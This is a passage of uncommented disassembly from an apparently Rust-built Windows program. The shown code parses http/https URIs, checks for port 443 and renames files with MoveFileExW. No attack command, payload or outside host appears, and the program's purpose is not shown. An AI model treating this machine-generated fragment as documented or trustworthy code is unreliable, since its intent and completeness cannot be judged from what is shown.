mov qword [rax + 0xa8], rcx
mov rcx, qword [rsp + 0x218]
mov qword [rax + 0xb0], rcx
mov qword [rax + 0xb8], rsi
mov rcx, qword [rsp + 0x258]
mov qword [rax + 0xc0], rcx
mov ecx, dword [rsp + 0xcc]
mov dword [rax + 0xc8], ecx
mov rcx, qword [rsp + 0x240]
mov qword [rax + 0xd0], rcx
and qword [rax + 0xd8], 0
jmp 0x421db6
xor eax, eax
mov rcx, qword [rsp + 0x60]
mov qword [rcx + 0x10], r8
mov qword [rcx + 0x18], rdx
mov rdx, qword [rsp + 0xa8]
mov qword [rcx + 0x20], rdx
mov qword [rcx + 0x28], rbx
mov rdx, qword [rsp + 0xc0]
mov qword [rcx + 0x30], rdx
mov qword [rcx + 0x38], r9
mov byte [rcx + 0x40], r14b
mov dl, byte [rsp + 0xb0]
mov byte [rcx + 0x41], dl
mov dword [rcx + 0x42], r15d
shr r15, 0x20
mov byte [rcx + 0x46], r15b
mov dl, byte [rsp + 0x70]
mov byte [rcx + 0x47], dl
mov dl, byte [rsp + 0x68]
mov byte [rcx + 0x48], dl
mov qword [rcx + 0x58], r12
mov qword [rcx + 0x50], rax
lea rcx, [rsp + 0x500]
call fcn.00483d2e
lea rdi, [rsp + 0x370]
mov rcx, rdi
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
call fcn.004276bf
mov rax, qword [rdi + 8]
mov bpl, 3
cmp rax, 0xfffe
jbe 0x421e53
mov ebx, 8
jmp 0x421fff
test rax, rax
je 0x421ffa
cmp rax, 1
jne 0x422405
mov rax, qword [rsp + 0x370]
movzx eax, byte [rax]
cmp eax, 0x2a
je 0x42297b
cmp eax, 0x2f
jne 0x4229a0
lea rax, str.__cargo_registry_src_index.crates.io_6f17d22bba15001f_http_0.2.9_src_uri_scheme.rshttpshttp
jmp 0x422982
mov qword [rsp + 0x68], rbx
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x70], rax
mov rcx, rdi
mov rdx, rsi
call fcn.0044a8f3
lea rax, [rsp + 0x260]
and qword [rax], 0
mov qword [rax + 8], 2
and qword [rax + 0x10], 0
mov r8d, 0x200
mov eax, 2
mov qword [rsp + 0x50], rax
xor r14d, r14d
mov ebx, 0xffffffff
xor edi, edi
xor esi, esi
cmp r8, 0x201
jae 0x421f0a
lea r15, [rsp + 0x500]
mov r12d, 0x200
mov rbp, r8
jmp 0x421f5c
sub r8, rsi
sub rdi, rsi
cmp rdi, r8
jae 0x421f3a
lea rcx, [rsp + 0x260]
mov rdx, rsi
call fcn.0044f4c0
mov r14, qword [rsp + 0x260]
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x50], rax
cmp r14, rbx
mov esi, 0xffffffff
cmovb rsi, r14
mov qword [rsp + 0x270], rsi
mov rdi, r14
mov r15, qword [rsp + 0x50]
mov r12, rsi
mov rbp, rsi
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [0x004900f8]
mov ecx, ebp
mov rdx, r15
call rax
mov r13d, eax
test eax, eax
jne 0x421f85
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x42275c
mov r8d, r13d
cmp rbp, r8
jne 0x421fb7
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x7a
jne 0x4230ca
add rbp, rbp
mov eax, 0xffffffff
cmp rbp, rax
mov ebx, 0xffffffff
cmovae rbp, rax
mov r8, rbp
jmp 0x421eee
jb 0x421eee
cmp r12, r8
jb 0x423220
lea rcx, [rsp + 0xd0]
mov rdx, r15
call fcn.004504c0
mov r15, qword [rsp + 0xd0]
mov rdi, qword [rsp + 0xd8]
mov rbp, qword [rsp + 0xe0]
mov bl, byte [rsp + 0xe8]
jmp 0x42276e
mov ebx, 9
lea rcx, [rsp + 0x370]
call fcn.004055e8
lea r13, [0x0049afa0]
mov r12d, 0xffff
mov eax, 1
mov qword [rsp + 0x50], rax
xor edi, edi
mov rsi, r13
cmp bpl, 3
je 0x423280
movaps xmm0, xmmword [rsp + 0x500]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd7]
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x20f], rcx
movabs rax, 0x101010101010101
lea r14, [rsp + 0x450]
mov qword [r14 - 8], rax
movdqa xmm6, xmmword [0x00491100]
movdqu xmmword [r14 - 0x18], xmm6
pxor xmm7, xmm7
movdqu xmmword [r14 + 8], xmm7
lea r15, [rsp + 0x3d0]
mov rcx, r15
call fcn.00431593
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [r14], rax
lea rax, [0x0049afa0]
mov qword [r14 + 0x18], rax
mov byte [r14 + 0x20], 0
lea rcx, str.__cargo_registry_src_index.crates.io_6f17d22bba15001f_http_0.2.9_src_uri_scheme.rshttpshttp
mov qword [r14 + 0x30], rcx
mov qword [r14 + 0x38], 1
and qword [r14 + 0x40], 0
mov qword [r14 + 0x48], rax
or word [r14 + 0x50], 0xffff
mov byte [r14 + 0x58], 2
and qword [r15 + 0x60], 0
movdqu xmmword [r14 + 0x60], xmm7
and qword [r15 + 0x108], 0
mov rcx, r14
call fcn.004055a1
mov qword [r14], rbx
movdqa xmm0, xmmword [rsp + 0x90]
movdqu xmmword [r14 + 8], xmm0
mov qword [r14 + 0x18], rsi
mov byte [r14 + 0x20], bpl
mov rax, qword [rsp + 0x208]
mov rcx, qword [rsp + 0x20f]
mov qword [r14 + 0x21], rax
mov qword [r14 + 0x28], rcx
mov rax, qword [rsp + 0x58]
mov qword [r14 + 0x30], rax
mov rax, qword [rsp + 0x50]
mov qword [r14 + 0x38], rax
mov qword [r14 + 0x40], rdi
mov qword [r14 + 0x48], r13
mov qword [r14 + 0x50], r12
lea rdi, [rsp + 0x260]
mov r8d, 0x110
mov rcx, rdi
mov rdx, r15
call sub.ntdll.dll_memcpy
mov sil, byte [rdi + 0x68]
movzx eax, byte [rdi + 0xd8]
lea rcx, [rax - 2]
cmp rcx, 2
mov r13, qword [rsp + 0x80]
jae 0x422255
lea rdi, [rsp + 0x2e0]
lea rdx, [rsp + 0x300]
lea r14, [rsp + 0x520]
mov rcx, r14
call fcn.00416f4e
lea rbx, [rsp + 0x500]
mov rcx, rbx
mov rdx, rdi
call fcn.00416f28
lea rdx, [rsp + 0x310]
lea r15, [rsp + 0x530]
mov rcx, r15
call fcn.0043c134
mov r8, qword [r15 - 0x28]
test r8, r8
cmove rbx, r8
xor edx, edx
cmp byte [r15 - 0x10], 0
cmovne rdx, r14
je 0x4222db
test r8, r8
mov r12, qword [rsp + 0x60]
je 0x422335
lea rcx, [rsp + 0xd0]
call fcn.00416f4e
lea rdi, [rsp + 0xe0]
mov rcx, rdi
mov rdx, rbx
call fcn.00416f28
mov bpl, byte [rdi - 0x10]
mov eax, dword [rdi - 0xf]
mov dword [rsp + 0x88], eax
mov eax, dword [rdi - 0xc]
mov dword [rsp + 0x8b], eax
mov r14, qword [rdi - 8]
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x370], xmm0
movdqu xmm0, xmmword [rdi + 0x10]
movdqa xmmword [rsp + 0x380], xmm0
jmp 0x422342
cmp eax, 1
jne 0x42228b
cmp sil, 7
jne 0x422186
mov cl, 4
call fcn.0043a812
lea rcx, [rsp + 0x500]
mov qword [rcx], rax
mov qword [rcx + 0x78], 2
call fcn.0040fa63
mov rsi, rax
mov rdi, rdx
jmp 0x4222cc
call fcn.0043a81b
mov rsi, rax
mov ecx, 0xa0
mov edx, 8
call fcn.0043583a
mov rdi, rax
mov qword [rax], rsi
mov qword [rax + 0x78], 2
mov ecx, 8
mov edx, 8
call fcn.0043583a
mov rsi, rax
mov qword [rax], rdi
lea rdi, [0x0049c218]
mov r12, qword [rsp + 0x60]
mov r15, qword [rsp + 0x78]
jmp 0x422378
test r8, r8
mov r12, qword [rsp + 0x60]
je 0x422335
cmp sil, 7
jne 0x422335
mov rdx, qword [rbx]
lea r14, [rsp + 0xd0]
mov rcx, r14
call fcn.004343cb
cmp qword [r14], 0
je 0x4228fd
cmp word [rsp + 0xe0], 0x1bb
jne 0x4228fd
lea rdx, [0x0049c170]
mov rcx, rdi
call fcn.0043c1a2
movdqa xmmword [rsp + 0x1e0], xmm6
jmp 0x42291d
mov cl, 5
call fcn.0043a812
mov r14, rax
mov bpl, 3
mov r15, qword [rsp + 0x78]
lea rcx, [rsp + 0x500]
call fcn.004055a1
cmp bpl, 3
jne 0x42238a
lea rcx, [rsp + 0x500]
mov qword [rcx], r14
mov qword [rcx + 0x78], 2
call fcn.0040fa63
mov rsi, rax
mov rdi, rdx
lea rcx, [rsp + 0x260]
call fcn.00405ff4
jmp 0x4225dc
lea rdx, [r12 + 0x10]
mov eax, dword [rsp + 0x88]
mov ecx, dword [rsp + 0x8b]
mov dword [rsp + 0xb8], eax
mov dword [rsp + 0xbb], ecx
lea rcx, [rsp + 0x370]
movaps xmm0, xmmword [rcx]
movaps xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmmword [rsp + 0x1f0], xmm1
movzx edi, word [r12 + 0x60]
movzx esi, byte [r12 + 0x62]
call fcn.00417045
mov rax, qword [r12 + 0x58]
lock inc qword [rax]
jle 0x422401
mov rcx, qword [r12 + 0x50]
mov rbx, r15
test rcx, rcx
je 0x4224f0
lock inc qword [rcx]
jg 0x4224f2
ud2
mov rax, qword [rsp + 0x370]
cmp byte [rax], 0x2f
jne 0x4226de
mov byte [rsp + 0x3d0], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x268], xmm0
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rsp + 0x260], rax
lea rax, [0x0049afa0]
mov qword [rsp + 0x278], rax
movups xmm0, xmmword [rsp + 0x370]
movdqu xmm1, xmmword [rsp + 0x380]
lea rdx, [rsp + 0xd0]
movdqa xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
lea rdi, [rsp + 0x500]
mov rcx, rdi
call fcn.00434d1b
mov r13, qword [rdi + 0x18]
movzx r14d, byte [rdi]
test r13, r13
je 0x423237
lea rax, [rsp + 0x268]
movzx ecx, byte [rsp + 0x507]
shl ecx, 0x10
movzx edx, word [rsp + 0x505]
or edx, ecx
mov ecx, dword [rsp + 0x501]
shl rdx, 0x28
shl rcx, 8
or rcx, rdx
mov rdx, qword [rsp + 0x508]
mov qword [rsp + 0x50], rdx
mov rdi, qword [rsp + 0x510]
mov r12, qword [rsp + 0x520]
mov rbx, qword [rax - 8]
mov rsi, qword [rax + 0x10]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x500], xmm0
or rcx, r14
jmp 0x422a66
xor ecx, ecx
shl esi, 0x10
or edi, esi
lea rsi, [rsp + 0x370]
mov word [rsi + 0x50], di
shr edi, 0x10
mov byte [rsi + 0x52], dil
mov qword [rsi + 0x48], rax
mov qword [rsi + 0x40], rcx
lea r15, [rsp + 0xd0]
lea rdx, [rsp + 0x260]
mov r8d, 0x110
mov rcx, r15
call sub.ntdll.dll_memcpy
lea rdi, [rsp + 0xb48]
mov ecx, 0xb
rep movsq qword [rdi], qword [rsi]
mov ecx, 0x928
mov edx, 8
call fcn.004075d7
mov rsi, rax
mov byte [rax + 0x140], bpl
mov eax, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0xbb]
mov dword [rsi + 0x141], eax
mov dword [rsi + 0x144], ecx
mov qword [rsi + 0x148], r14
movdqa xmm0, xmmword [rsp + 0x1e0]
movdqa xmm1, xmmword [rsp + 0x1f0]
movdqu xmmword [rsi + 0x150], xmm0
movdqu xmmword [rsi + 0x160], xmm1
lea rcx, [rsi + 0x170]
mov r8d, 0x110
mov rdx, r15
call sub.ntdll.dll_memcpy
lea rcx, [rsi + 0x280]
lea rdx, [rsp + 0x500]
mov r8d, 0x6a0
call sub.ntdll.dll_memcpy
mov byte [rsi + 0x920], 0
lea rdi, [0x004921f0]
mov r15, rbx
mov qword [r12 + 0x70], rsi
mov qword [r12 + 0x78], rdi
lea r14, [rsp + 0x500]
mov rcx, r14
mov rdx, rsi
mov r8, r15
call qword [rdi + 0x18]
mov rbx, qword [r14 + 0x78]
cmp rbx, 3
jne 0x42260b
mov al, 3
jmp 0x423432
lea rax, [r12 + 0x70]
lea rdx, [rsp + 0x508]
mov r14, qword [rdx - 8]
lea rdi, [rsp + 0xba8]
mov ecx, 0xe
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rdx + 0x78]
movdqu xmm1, xmmword [rdx + 0x88]
movdqa xmmword [rsp + 0x4f0], xmm1
movaps xmmword [rsp + 0x4e0], xmm0
mov rcx, rax
call fcn.00403b24
cmp ebx, 2
jne 0x422673
mov ecx, 8
mov edx, 8
call fcn.004075d7
mov rsi, rax
mov qword [rax], r14
jmp 0x423494
mov qword [r12 + 0x90], r14
lea rdi, [r12 + 0x98]
lea rsi, [rsp + 0xba8]
mov ecx, 0xe
rep movsq qword [rdi], qword [rsi]
mov qword [r12 + 0x108], rbx
movdqa xmm0, xmmword [rsp + 0x4e0]
movdqa xmm1, xmmword [rsp + 0x4f0]
movdqu xmmword [r12 + 0x110], xmm0
movdqu xmmword [r12 + 0x120], xmm1
and qword [r12 + 0x70], 0
mov qword [r12 + 0x78], 1
and qword [r12 + 0x80], 0
jmp 0x42341b
movups xmm0, xmmword [rsp + 0x370]
movdqu xmm1, xmmword [rsp + 0x380]
movdqa xmmword [rsp + 0x3e0], xmm1
movaps xmmword [rsp + 0x3d0], xmm0
mov rdi, qword [rsp + 0x3d0]
mov r14, qword [rsp + 0x3d8]
cmp r14, 6
jbe 0x422a72
lea r9, [0x00499268]
mov r15d, 7
mov r8d, 7
mov rcx, rdi
mov rdx, r14
call fcn.0043133f
lea r8, str.http:__
mov r9d, 7
mov rcx, rax
call fcn.0043acb4
test al, al
je 0x422a89
xor esi, esi
jmp 0x422ac9
call sub.KERNEL32.dll_GetLastError
mov r15d, eax
shl r15, 0x20
or r15, 2
mov bl, 2
test r14, r14
je 0x422782
mov edx, 2
mov rcx, qword [rsp + 0x50]
call fcn.00424380
cmp bl, 2
mov r14, qword [rsp + 0x70]
je 0x4231ef
mov qword [rsp + 0x20], 0x12
lea r9, [0x0049e2ad]
lea rsi, [rsp + 0x3d0]
mov rcx, rsi
mov rbx, rdi
mov rdx, rdi
mov r8, rbp
call fcn.00449b14
mov rax, qword [rsi + 8]
mov qword [rsp + 0x50], rax
mov rdi, qword [rsi + 0x10]
lea rsi, [rsp + 0x500]
mov rcx, rsi
mov rdx, qword [rsp + 0x58]
mov r8, r14
call fcn.0044f020
mov r13, qword [rsi]
mov rax, qword [rsi + 8]
test rax, rax
je 0x422e1c
lea rdx, [rsp + 0x500]
mov rcx, qword [rdx + 0x10]
mov qword [rdx], r13
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rcx
lea rsi, [rsp + 0xd0]
mov rcx, rsi
mov r8b, 1
call fcn.0046a2f0
mov r14, qword [rsi]
mov r12, qword [rsi + 8]
test r12, r12
je 0x422a81
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x260], r14
mov qword [rsp + 0x268], r12
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x500]
mov rdx, qword [rsp + 0x50]
mov r8, rdi
call fcn.0044f020
mov r13, qword [rsp + 0x500]
mov rax, qword [rsp + 0x508]
test rax, rax
je 0x422e05
lea rdx, [rsp + 0x500]
mov rcx, qword [rdx + 0x10]
mov qword [rdx], r13
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rcx
lea rcx, [rsp + 0xd0]
mov r8b, 1
call fcn.0046a2f0
mov r13, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xd8]
test rsi, rsi
je 0x422e05
mov rcx, r12
mov rdx, rsi
mov r8d, 1
call sub.KERNEL32.dll_MoveFileExW
test eax, eax
je 0x422dd7
test r13, r13
je 0x4228e1
mov edx, 2
mov rcx, rsi
call fcn.00424380
test r14, r14
je 0x4228f3
mov edx, 2
mov rcx, r12
call fcn.00424380
mov r12, qword [rsp + 0x58]
jmp 0x422ef3
lea rdx, [0x0049c160]
mov rcx, rdi
call fcn.0043c1a2
movdqu xmm0, xmmword [0x0049c160]
movdqa xmmword [rsp + 0x1e0], xmm0
mov r15, qword [rsp + 0x78]
movaps xmm0, xmmword [rsp + 0x1e0]
lea rdi, [rsp + 0xe0]
movaps xmmword [rdi - 0x10], xmm0
mov rcx, rdi
mov rdx, rbx
call fcn.00416f28
mov bpl, byte [rdi - 0x10]
mov eax, dword [rdi - 0xf]
mov dword [rsp + 0x88], eax
mov eax, dword [rdi - 0xc]
mov dword [rsp + 0x8b], eax
mov r14, qword [rdi - 8]
movaps xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x370], xmm0
movdqa xmm0, xmmword [rdi + 0x10]
movdqa xmmword [rsp + 0x380], xmm0
jmp 0x422347
lea rax, [0x0049da0d]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x500], xmm0
lea rbx, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
xor ebp, ebp
jmp 0x421fff
movups xmm0, xmmword [rsp + 0x370]
movdqu xmm1, xmmword [rsp + 0x380]
movaps xmmword [rsp + 0x500], xmm0
movdqa xmmword [rsp + 0x510], xmm1
mov r14, qword [rsp + 0x508]
test r14, r14
je 0x423256
mov rdi, qword [rsp + 0x500]
lea r15, [rsp + 0xd0]
mov rcx, r15
mov rdx, rdi
mov r8, r14
call fcn.004342dd
cmp byte [r15], 0
jne 0x423263
cmp qword [rsp + 0xd8], r14
jne 0x42326d
lea rax, [rsp + 0x508]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x260], xmm0
mov rsi, qword [rax + 0x10]
test rsi, rsi
je 0x42327c
mov rax, rdi
and rax, 0xffffffffffffff00
movaps xmm0, xmmword [rsp + 0x260]
movaps xmmword [rsp + 0x500], xmm0
movzx ebx, dil
or rbx, rax
lea r13, [0x0049afa0]
mov r12d, 0xffff
lea rcx, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
xor eax, eax
mov qword [rsp + 0x50], rax
xor edi, edi
mov qword [rsp + 0x58], rcx
xor ebp, ebp
jmp 0x422032
cmp r14, 3
ja 0x422b06
jmp 0x422c05
mov r13, r14
jmp 0x422e17
cmp r14, 7
jbe 0x422b06
lea r9, [0x00499288]
mov r15d, 8
mov r8d, 8
mov rcx, rdi
mov rdx, r14
call fcn.0043133f
lea r8, str.https:__i
mov r9d, 8
mov rcx, rax
call fcn.0043acb4
mov sil, 1
test al, al
je 0x422b06
lea rdi, [rsp + 0x500]
lea rdx, [rsp + 0x3d0]
mov rcx, rdi
mov r8, r15
call fcn.00427a8a
mov rcx, rdi
call fcn.004055e8
mov byte [rsp + 0x91], sil
mov byte [rsp + 0x90], 1
mov bpl, 1
xor esi, esi
jmp 0x422c12
xor r15d, r15d
lea rax, [0x00499168]
cmp r14, r15
je 0x422c05
movzx ecx, byte [rdi + r15]
movzx ecx, byte [rcx + rax]
test ecx, ecx
je 0x422c05
inc r15
cmp ecx, 0x3a
jne 0x422b10
lea r12, [r15 + 2]
cmp r12, r14
ja 0x422c05
lea rax, [0x004992a8]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, r12
mov r8, rdi
mov r9, r14
call fcn.00401b1e
cmp rdx, 2
jne 0x422c05
cmp word [rax], 0x2f2f
jne 0x422c05
dec r15
mov ebx, 0xa
cmp r15, 0x40
ja 0x422c55
lea rdi, [rsp + 0xd0]
lea rdx, [rsp + 0x3d0]
mov rcx, rdi
mov r8, r12
call fcn.00427a8a
lea r14, [rsp + 0x500]
mov rcx, r14
mov rdx, rdi
mov r8, r15
call fcn.0042797b
mov rcx, r14
call fcn.004055e8
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [r14 + 0x10], xmm1
movaps xmmword [r14], xmm0
mov ecx, 0x20
mov edx, 8
call fcn.00484a99
movaps xmm0, xmmword [r14]
movdqa xmm1, xmmword [r14 + 0x10]
movdqu xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0x98], rax
mov byte [rsp + 0x90], 2
mov bpl, 2
jmp 0x422aff
mov byte [rsp + 0x90], 0
mov sil, 1
xor ebp, ebp
mov rbx, qword [rsp + 0x3d0]
mov r14, qword [rsp + 0x3d8]
lea r15, [rsp + 0x500]
mov rcx, r15
mov rdx, rbx
mov r8, r14
call fcn.004342dd
cmp byte [r15], 0
je 0x422c6a
mov al, byte [rsp + 0x501]
movzx ebx, al
lea rcx, [rsp + 0x90]
call fcn.00436c2f
lea rcx, [rsp + 0x3d0]
call fcn.004055e8
mov bpl, 3
jmp 0x422028
mov r8, qword [rsp + 0x508]
test sil, sil
je 0x422cdc
mov al, 4
cmp r8, r14
jne 0x422c45
lea rax, [rsp + 0x3d8]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x500], xmm0
mov rsi, qword [rax + 0x10]
mov rax, qword [rsp + 0x91]
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd7], rcx
lea r13, [0x0049afa0]
mov r12d, 0xffff
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rsp + 0x58], rax
xor eax, eax
mov qword [rsp + 0x50], rax
xor edi, edi
jmp 0x422028
test r8, r8
je 0x422dfb
lea rcx, [rsp + 0x260]
lea rdi, [rsp + 0x3d0]
mov rdx, rdi
call fcn.00427a8a
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmm0, xmmword [rdi]
movdqa xmm1, xmmword [rdi + 0x10]
lea rdx, [rsp + 0xd0]
movdqa xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
lea rdi, [rsp + 0x500]
mov rcx, rdi
call fcn.00434d1b
mov r13, qword [rdi + 0x18]
movzx r14d, byte [rdi]
test r13, r13
je 0x423061
movzx eax, byte [rsp + 0x507]
shl eax, 0x10
movzx ecx, word [rsp + 0x505]
or ecx, eax
mov edx, dword [rsp + 0x501]
shl rcx, 0x28
shl rdx, 8
or rdx, rcx
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x50], rax
mov rdi, qword [rsp + 0x510]
mov r12, qword [rsp + 0x520]
mov rax, qword [rsp + 0x91]
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd7], rcx
mov rbx, qword [rsp + 0x260]
movups xmm0, xmmword [rsp + 0x268]
movaps xmmword [rsp + 0x500], xmm0
mov rsi, qword [rsp + 0x278]
or rdx, r14
mov qword [rsp + 0x58], rdx
jmp 0x422028
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
test r13, r13
je 0x422e02
mov edx, 2
mov rcx, rsi
mov r13, rax
call fcn.00424380
jmp 0x422e05
mov al, 4
jmp 0x422c45
mov r13, rax
test r14, r14
je 0x422e17
mov edx, 2
mov rcx, r12
call fcn.00424380
mov r14, qword [rsp + 0x70]
test r13, r13
mov r12, qword [rsp + 0x58]
je 0x422ef3
mov rcx, r13
call fcn.00449fbb
mov rcx, r12
mov rdx, r14
call fcn.0046e6c0
test rax, rax
je 0x422f64
mov r8, rdx
mov qword [rsp + 0x20], 0x13
lea r9, [0x0049e29a]
lea rdi, [rsp + 0x260]
mov rcx, rdi
mov rdx, rax
call fcn.00449b14
mov rsi, qword [rdi + 8]
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x20], rax
lea rdi, [rsp + 0x500]
mov rcx, rdi
mov rdx, r12
mov r8, r14
mov r9, rsi
call fcn.0047dfc0
cmp qword [rdi], 0
jne 0x422f47
movups xmm0, xmmword [rsp + 0x260]
movups xmm1, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
test r14, r14
je 0x422fd5
setns al
js 0x42317c
movzx edi, al
mov rcx, r14
mov rdx, rdi
call fcn.004242f0
mov rsi, rax
test rax, rax
jne 0x422fda
mov rcx, r14
mov rdx, rdi
jmp 0x42332b
mov qword [rsp + 0x20], 0x13
lea r9, [0x0049e29a]
lea r14, [rsp + 0x260]
mov rcx, r14
mov rdx, rbx
mov r8, rbp
call fcn.00449b14
mov rsi, qword [r14 + 8]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x20], rax
lea r14, [rsp + 0x500]
mov rcx, r14
mov rdx, qword [rsp + 0x50]
mov r8, rdi
mov r9, rsi
call fcn.0047dfc0
cmp qword [r14], 0
je 0x422f80
mov rdi, qword [rsp + 0x508]
mov rcx, qword [rsp + 0x260]
mov rdx, rsi
call fcn.0044a8f3
jmp 0x423014
lea rdx, str.path_has_no_parent
mov r8d, 0x12
mov cl, 0x14
call fcn.004498d9
mov rdi, rax
jmp 0x423014
movups xmm0, xmmword [rsp + 0x260]
movups xmm1, xmmword [rsp + 0x270]
lea rcx, [rsp + 0xd0]
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
movups xmm0, xmmword [rsp + 0x3d0]
movups xmm1, xmmword [rsp + 0x3e0]
lea rdx, [rsp + 0x500]
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
call fcn.0044a00c
mov rdi, rax
test rax, rax
mov rsi, qword [rsp + 0x68]
jne 0x42302b
jmp 0x42305d
mov esi, 1
mov rcx, rsi
mov rdx, r12
mov r8, r14
call sub.ntdll.dll_memcpy
lea rdx, [rsp + 0x500]
mov qword [rdx], r14
mov qword [rdx + 8], rsi
mov qword [rdx + 0x10], r14
mov byte [rdx + 0x18], 0
lea rcx, [rsp + 0xd0]
call fcn.0044a00c
mov rdi, rax
test rax, rax
je 0x423046
mov rsi, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x3d0]
mov rdx, qword [rsp + 0x50]
call fcn.0044a8f3
mov rcx, r15
mov rdx, rbx
call fcn.0044a8f3
mov rcx, rsi
mov rdx, r12
call fcn.0044a8f3
jmp 0x420986
mov rcx, qword [rsp + 0x3d0]
mov rdx, qword [rsp + 0x50]
call fcn.0044a8f3
mov rsi, qword [rsp + 0x68]
xor edi, edi
jmp 0x42302b
lea rcx, [rsp + 0x260]
call fcn.004055e8
lea rcx, [rsp + 0x1e0]
call fcn.00436c2f
mov bpl, 3
mov rbx, r14
jmp 0x422c65
mov rax, qword [rsp + 0x508]
lea r8, [rsp + 0x3d0]
mov qword [r8], rax
mov qword [rsp + 0x20], r13
jmp 0x423134
xor edi, edi
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, qword [rsp + 0x58]
mov r8, rdi
mov r9, r15
call fcn.0042c0d0
jmp case.0x42089f.2
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.00428e20
jmp case.0x42089f.2
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.win_src_main.rs
jmp 0x42319c
lea r8, [rsp + 0x500]
mov qword [r8], rdi
lea rax, str.win_src_main.rs
jmp 0x42312f
call fcn.0047a3d0
ud2
mov rax, qword [rsp + 0x500]
lea r8, [rsp + 0xd0]
mov qword [r8], rax
lea rax, str.win_src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x004a6418]
lea r9, fcn.004056d6
mov edx, 0x2b
call fcn.00429a50
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_90c541806f23a127002de5b4038be731ba1458calibrary_std_src_threadmod.rs
lea r8, str.win_src_main.rs
mov edx, 0x2b
jmp 0x4231a1
mov r15, qword [rsp + 0x58]
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0x80], rax
jmp 0x4230a5
call fcn.00425e50
ud2
mov rcx, r15
mov rdx, rsi
jmp 0x42332b
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.win_src_main.rs
mov edx, 0x23
call fcn.00428e20
ud2
mov rcx, r14
mov rdx, qword [rsp + 0x50]
call fcn.00427458
mov eax, 1
mov qword [rsp + 0x58], rax
lea r8, [rsp + 0x500]
mov rax, qword [rsp + 0x58]
mov dword [r8], eax
mov dword [r8 + 4], r13d
mov qword [r8 + 8], r12
mov qword [rsp + 0x20], rsi
lea rcx, [0x004a6418]
lea r9, [0x00491aa8]
jmp 0x423142
lea r8, [rsp + 0x500]
mov qword [r8], r15
lea rax, str.library_std_src_syswindowsos.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x004a6418]
lea r9, fcn.0046b660
mov edx, 0x2b
call fcn.00429a50
jmp case.0x42089f.2
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r12
mov r8, rax
call fcn.00428a50
ud2
lea rcx, [rsp + 0x260]
call fcn.004055e8
lea rcx, [rsp + 0x3d0]
call fcn.00436c2f
mov rbx, r14
jmp 0x423280
mov byte [rsp + 0xd1], 9
mov dil, 9
jmp 0x42326f
mov dil, byte [rsp + 0xd1]
jmp 0x42326f
xor edi, edi
lea rcx, [rsp + 0x500]
call fcn.004055e8
movzx ebx, dil
lea r8, [rsp + 0x260]
mov byte [r8], bl
lea rax, str.win_src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x004a6418]
